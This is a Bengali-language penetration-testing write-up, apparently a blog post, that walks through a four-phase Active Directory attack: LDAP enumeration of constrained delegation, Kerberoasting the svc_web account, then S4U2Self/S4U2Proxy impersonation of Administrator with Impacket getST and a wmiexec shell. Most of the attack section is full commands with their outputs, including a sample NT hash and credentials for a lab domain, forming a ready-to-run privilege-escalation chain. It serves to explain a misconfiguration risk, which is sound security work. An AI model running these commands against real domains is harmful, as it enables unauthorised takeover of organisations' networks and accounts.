অ্যাক্টিভ ডিরেক্টরি (Active Directory) পেনিট্রেশন টেস্টিংয়ের ক্ষেত্রে একটি প্রচলিত ও দীর্ঘস্থায়ী ভুল ধারণা রয়েছে— একটি কনস্ট্রেইন্ড ডেলিগেশন (Constrained Delegation) আক্রমণ সফল করতে হলে আপনাকে প্রথমে কোনো হোস্টের নিয়ন্ত্রণ নিতে হবে, লোকাল অ্যাডমিনিস্ট্রেটর প্রিভিলেজে উন্নীত হতে হবে এবং মেমোরি থেকে ক্রেডেনশিয়াল ডাম্প করতে হবে।

যদিও LSASS ডাম্প করা একটি স্ট্যান্ডার্ড বা সাধারণ প্রক্রিয়া, তবে এটি কোনো বাধ্যতামূলক শর্ত নয়। যদি টার্গেট অ্যাকাউন্টটি একটি দুর্বল পাসওয়ার্ড দিয়ে কনফিগার করা কোনো ইউজার অ্যাকাউন্ট হয়, তবে একজন সাধারণ ডোমেন ব্যবহারকারী সম্পূর্ণ নেটওয়ার্কের ওপর ভিত্তি করেই একটি পুর্ণাঙ্গ ডেলিগেশন অ্যাটাক চালাতে পারেন এবং কোনো টার্গেট এন্ডপয়েন্টের ডিস্ক স্পর্শ না করে বা উচ্চতর প্রিভিলেজের প্রয়োজন ছাড়াই ডোমেন অ্যাডমিনিস্ট্রেটর (Domain Administrator) হিসেবে ছদ্মবেশ ধারণ (Impersonation) করতে পারেন।

নিচে একটি বিশ্লেষণাত্মক বিবরণ দেওয়া হলো যে কীভাবে কার্বেরোস্টিং (Kerberoasting) এবং প্রোটোকল ট্রানজিশন (Protocol Transition)-এর পারস্পরিক সংযোগ কোনো অ্যাডমিন প্রিভিলেজ ছাড়াই ডোমেন কম্প্রোমাইজ করার সুযোগ তৈরি করে। এখানে মূলত কার্বেরোস S4U এক্সটেনশনের অভ্যন্তরীণ মেকানিজমের ওপর আলোকপাত করা হয়েছে।

ফেজ ১: ভুল কনফিগারেশন সনাক্তকরণ (জিরো-টাচ এন্যুমারেশন)

এই আক্রমণটি শুরু হয় একজন সাধারণ, প্রিভিলেজহীন ডোমেন ব্যবহারকারীর দৃষ্টিকোণ থেকে। উদ্দেশ্য হলো LDAP-এর মাধ্যমে অ্যাক্টিভ ডিরেক্টরিতে কোয়েরি করে কনস্ট্রেইন্ড ডেলিগেশন সহ কনফিগার করা অ্যাকাউন্টগুলো খুঁজে বের করা।

Impacket-এর মাধ্যমে স্ট্যান্ডার্ড LDAP এন্যুমারেশন আউটপুট লক্ষ্য করলে দেখা যায়:

BASH
impacket-findDelegation 'corp.local/j.smith:Password!1' -dc-ip 192.168.100.10
BASH
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

AccountName  AccountType  DelegationType                      DelegationRightsTo             SPN Exists
-----------  -----------  ----------------------------------  -----------------------------  ----------
DC01$        Computer     Unconstrained                       N/A                            Yes
svc_web      Person       Constrained w/ Protocol Transition  WSMAN/APP01.corp.local        Yes
svc_web      Person       Constrained w/ Protocol Transition  WSMAN/APP01                   Yes
svc_web      Person       Constrained w/ Protocol Transition  HTTP/APP01.corp.local         No
svc_web      Person       Constrained w/ Protocol Transition  HTTP/APP01                    No

অভ্যন্তরীণ মেকানিজম (The Mechanics):

এখানে সবচেয়ে গুরুত্বপূর্ণ বিষয়টি হলো Constrained w/ Protocol Transition। অ্যাক্টিভ ডিরেক্টরিতে এটি TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D) ইউজার অ্যাকাউন্ট কন্ট্রোল ফ্ল্যাগের সাথে সম্পর্কিত।

যখন কোনো সার্ভিস অ্যাকাউন্টে এই ফ্ল্যাগটি থাকে, তখন সেটি S4U2Self কার্বেরোস এক্সটেনশন ব্যবহার করার অনুমতি পায়। এর অর্থ হলো svc_web অ্যাকাউন্টটি ডোমেনের যেকোনো ব্যবহারকারীর পক্ষ থেকে নিজের জন্য একটি সার্ভিস টিকিটের অনুরোধ করতে পারে, যার জন্য ওই ব্যবহারকারীর পাসওয়ার্ডের প্রয়োজন হয় না। DelegationRightsTo কলামটি নির্ধারণ করে যে সেই টিকিটটি পরবর্তীতে কোথায় পাঠানো বা ফরওয়ার্ড করা যাবে।

যেহেতু svc_web-কে একটি Person (ইউজার অ্যাকাউন্ট, মেশিন অ্যাকাউন্ট নয়) হিসেবে চিহ্নিত করা হয়েছে, তাই এটির সাথে একটি সার্ভিস প্রিন্সিপাল নেম (SPN) যুক্ত থাকার সম্ভাবনা প্রবল, যা এটিকে অফলাইন আক্রমণের জন্য একটি উপযুক্ত লক্ষ্যে পরিণত করে।

ফেজ ২: নীরবে হ্যাশ নিষ্কাশন (কার্বেরোস্টিং)

যদি svcIIS (বা svc_web) একটি মেশিন অ্যাকাউন্ট বা গ্রুপ ম্যানেজড সার্ভিস অ্যাকাউন্ট (gMSA) হতো, তবে মেমোরি থেকে এর ১২০-অক্ষরের পরিবর্তনশীল পাসওয়ার্ডটি বের করার জন্য লোকাল অ্যাডমিনিস্ট্রেটর রাইটসের প্রয়োজন হতো। কিন্তু, যেহেতু এটি একটি সাধারণ ইউজার অ্যাকাউন্ট, তাই কার্বেরোস প্রোটোকল যেকোনো অথেন্টিকেটেড ব্যবহারকারীকে এর জন্য একটি টিকিট গ্রান্টিং সার্ভিস (TGS) টিকিটের অনুরোধ করার অনুমতি দেয়।

BASH
impacket-GetUserSPNs 'corp.local/j.smith:Password!1' \
-dc-ip 192.168.100.10 \
-request-user svc_web \
-outputfile svcweb_hash.txt
BASH
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName          Name      MemberOf  PasswordLastSet             LastLogon                   Delegation
----------------------------  --------  --------  --------------------------  --------------------------  -----------
HTTP/webapp.corp.local        svc_web             2025-01-10 09:15:22.000000  2026-06-06 02:39:59.678483 constrained
BASH
cat svcweb_hash.txt
BASH
$krb5tgs$23$*svc_web$CORP.LOCAL$corp.local/svc_web*$<REDACTED_TGS_HASH>

অভ্যন্তরীণ মেকানিজম (The Mechanics):

ডোমেন কন্ট্রোলার একটি TGS রিটার্ন করে যা svc_web অ্যাকাউন্টের পাসওয়ার্ডের RC4-HMAC হ্যাশ দ্বারা এনক্রিপ্ট করা থাকে। আক্রমণকারী এখন svc_web হিসেবে অথেন্টিকেট করার জন্য প্রয়োজনীয় ক্রিপ্টোগ্রাফিক উপাদান পেয়ে গেছেন। এই হ্যাশটি অফলাইনে নিয়ে ক্র্যাক করার মাধ্যমে (যা ধরুন Password1@ পাসওয়ার্ডটি প্রকাশ করে), আক্রমণকারী আইআইএস (IIS) সার্ভারে কোনো কোড এক্সিকিউট না করেই সার্ভিস অ্যাকাউন্টটির পুর্ণ নিয়ন্ত্রণ পেয়ে যান।

ফেজ ৩: ভিআইপি পাস তৈরি (S4U2Self এবং S4U2Proxy)

ঠিক এই ধাপেই লোকাল অ্যাডমিন ছাড়া ডোমেন কম্প্রোমাইজ করার বিষয়টি বাস্তবে রূপ নেয়। প্লেইনটেক্সট পাসওয়ার্ড উদ্ধার করার পর, আক্রমণকারী এর এনটি হ্যাশ (NT Hash: 43460d636f269c709b20049cee36ae7a) বের করেন এবং প্রোটোকলের অপব্যবহার শুরু করেন।

BASH
impacket-getST corp.local/svc_web \
-hashes :43460d636f269c709b20049cee36ae7a \
-spn wsman/APP01.corp.local \
-impersonate Administrator \
-k
BASH
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2Self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@wsman_APP01.corp.local@CORP.LOCAL.ccache

অভ্যন্তরীণ মেকানিজম (The Mechanics):

এই একটিমাত্র কমান্ড সম্পূর্ণ নেটওয়ার্কের ওপর ভিত্তি করে কনস্ট্রেইন্ড Delegation আক্রমণের মূল অংশটি এক্সিকিউট করে:

  1. S4U2Self: আক্রমণকারী svc_web হিসেবে অথেন্টিকেট করেন এবং Administrator অ্যাকাউন্টের পক্ষ থেকে নিজের জন্য একটি টিকিটের অনুরোধ করেন। যেহেতু svc_web-এর প্রোটোকল ট্রানজিশন সক্রিয় করা আছে, ডোমেন কন্ট্রোলার অনুরোধটি গ্রহণ করে এবং একটি ফরওয়ার্ডযোগ্য (forwardable) টিকিট ইস্যু করে।
  2. S4U2Proxy: আক্রমণকারী অবিলম্বে সেই ফরওয়ার্ডযোগ্য টিকিটটি নিয়ে ডোমেন কন্ট্রোলারে পুনরায় পেশ করেন এবং LDAP এন্যুমারেশনে নির্ধারিত ডাউনস্ট্রিম সার্ভিস (wsman/APP01)-এ অ্যাক্সেসের অনুরোধ জানান।
  3. ফলাফল: ডোমেন কন্ট্রোলার (DC) একটি বৈধ কার্বেরোস সার্ভিস টিকিট ইস্যু করে যা প্রমাণ করে যে আক্রমণকারী ওই নির্দিষ্ট সার্ভিসের জন্য ডোমেন Administrator

পুরো প্রক্রিয়ার কোথাও Administrator-এর পাসওয়ার্ড অনুমান (Guess) করার প্রয়োজন হয়নি, কিংবা কোনো উচ্চতর প্রিভিলেজড সেশনেরও দরকার পড়েনি।

ফেজ ৪: বাস্তবসম্মত প্রভাব বিস্তার (Impact Execution)

তৈরি করা জাল টিকিটটি লোকাল ক্রেডেনশিয়াল ক্যাশে এক্সপোর্ট করার পর, আক্রমণকারী টার্গেট সার্ভারের সাথে যোগাযোগ করতে WMI (Windows Management Instrumentation) বা WinRM-এর মতো নেটিভ রিমোট অ্যাডমিনিস্ট্রেশন প্রোটোকল ব্যবহার করতে পারেন।

BASH
export KRB5CCNAME=Administrator@wsman_APP01.corp.local@CORP.LOCAL.ccache
BASH
impacket-wmiexec -k -no-pass \
corp.local/Administrator@APP01.corp.local
BASH
corp.local/Administrator@APP01.corp.local

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used

[!] Launching semi-interactive shell
[!] Press help for extra shell commands

C:\>whoami
corp\administrator

C:\>hostname
APP01

C:\>

প্রভাব (The Impact):

এই অ্যাটাক পাথের ডেটা ইন্টিগ্রিটি বা কার্যকারিতা মূল্যায়ন করলে এর ভয়াবহতা স্পষ্ট হয়ে ওঠে। একজন কম-প্রিভিলেজড আক্রমণকারী সিকিউরিটি বাউন্ডারি বাইপাস করতে একটি স্ট্যান্ডার্ড প্রোটোকল ফিচারের অপব্যবহার করেছেন, যার ফলে একটি অত্যন্ত সংবেদনশীল সার্ভারে ইন্টারঅ্যাক্টিভ administrator লেভেলের শেল পাওয়া সম্ভব হয়েছে।

ডেলিগেশনের অপব্যবহার করার জন্য আক্রমণকারীদের প্রথমে এন্ডপয়েন্ট কম্প্রোমাইজ করতে হবে— এই ধারণার ওপর ভরসা করে থাকা একটি বিপজ্জনক অন্ধবিন্দু (blind spot) তৈরি করে। যতদিন প্রোটোকল ট্রানজিশনের সাথে ক্র্যাক করা সম্ভব এমন দুর্বল পাসওয়ার্ড যুক্ত থাকবে, ততদিন নেটওয়ার্কগুলো দূরবর্তী বা রিমোটলি যেকোনো প্রিভিলেজহীন ব্যবহারকারীর মাধ্যমে ডোমেন কম্প্রোমাইজের ঝুঁকিতে থাকবে।

Comments